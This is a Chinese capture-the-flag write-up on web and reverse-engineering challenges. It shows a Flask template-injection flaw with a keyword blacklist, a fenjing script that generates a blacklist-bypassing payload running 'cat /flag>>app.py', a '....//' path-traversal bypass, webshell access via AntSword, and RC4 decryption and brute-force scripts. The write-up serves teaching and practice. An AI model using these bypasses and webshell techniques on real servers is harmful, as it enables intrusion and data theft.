第十八届信息安全大赛 && 第二届长城杯 - web&re wp
字数 809 2025-08-22 12:22:30
Web安全与逆向工程实战教学:从SSTI注入到RC4解密
1. Web安全挑战:SSTI无回显注入
1.1 漏洞分析
目标应用是一个Flask代理服务器,存在服务器端模板注入(SSTI)漏洞:
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'
关键点:
- 直接使用
render_template_string渲染用户输入 - 黑名单过滤不完善,存在绕过可能
- 无回显输出,需要特殊技术获取执行结果
1.2 绕过WAF的技术
使用fenjing工具生成绕过黑名单的payload:
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str):
dangerous_patterns = ['import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for pattern in dangerous_patterns:
if pattern in s:
return False
return True
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "cat /flag>>app.py")
print(shell_payload)
1.3 文件读取技巧
目标过滤了../路径遍历,使用双写绕过:
- 原始路径:
../../file - 绕过方式:
....//....//file
1.4 获取WebShell
通过解码获取一句话木马密码:
- 解码Base64得到PHP代码
- 分析变量构造逻辑
- 使用蚁剑连接获取服务器权限
2. 逆向工程挑战:RC4加密分析
2.1 逆向分析工具
使用M-CORE处理器支持的IDA Pro插件:
- 项目地址:MotoFanRu/M-CORE_IDA-Pro
- 功能:提供M·CORE处理器的反汇编支持
2.2 关键加密逻辑
从IDA中提取的关键信息:
- RC4密钥:
"testkey" - 加密数据:
.rodata:00008AA0 dword_8AA0: .long 0x8B88F96 .rodata:00008AA4 .long 0x4468A75D .rodata:00008AA8 .long 0x649264F2 // ... 更多数据
2.3 解密脚本
完整解密流程包括:
- RC4解密
- 异或运算逆向
def rc4(key, data):
S = list(range(256))
j = 0
key_length = len(key)
# Key-scheduling algorithm
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
# Pseudo-random generation algorithm
i = j = 0
result = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
result.append(byte ^ K)
return bytes(result)
def unxor(data):
data = bytearray(data)
for i in range(len(data) - 1, 0, -1):
data[i - 1] ^= data[i]
return bytes(data)
2.4 动态调试技巧
通过输入测试发现:
- 程序对输入进行单字节加密
- 输出与加密数据直接相关
- 可构造爆破脚本逐字符破解
爆破脚本示例:
import subprocess
from string import printable
ENCRYPTED_VALUES = [35,41,30,36,56,14,21,32,55,14,5,32,0,14,55,18,29,15,36,1,1,57]
def brute_force_flag(start_flag='flag{', start_index=5, max_length=22):
flag = start_flag
for idx in range(start_index, max_length):
for char in printable:
output = subprocess.run(['re.exe', flag + char],
capture_output=True, text=True).stdout.strip()
try:
if int(output[idx*2:idx*2+2], 16) == ENCRYPTED_VALUES[idx]:
flag += char
print(f"字符 '{char}' 匹配成功,当前 flag: {flag}")
break
except (IndexError, ValueError):
continue
else:
print(f"无法找到索引 {idx} 处的匹配字符,终止破解。")
break
return flag
3. 关键知识点总结
-
SSTI注入绕过:
- 黑名单过滤的局限性
- 无回显情况下的利用技术(写文件、内存马)
- 自动化payload生成工具的使用
-
逆向工程技巧:
- 识别加密算法(RC4)
- 从二进制中提取密钥和密文
- 动态调试与静态分析结合
-
爆破技术:
- 单字节加密的逐字符破解
- 自动化测试脚本编写
- 处理程序输出的技巧
-
Web安全进阶:
- 路径遍历过滤的绕过
- 一句话木马的构造与利用
- 服务器权限维持技术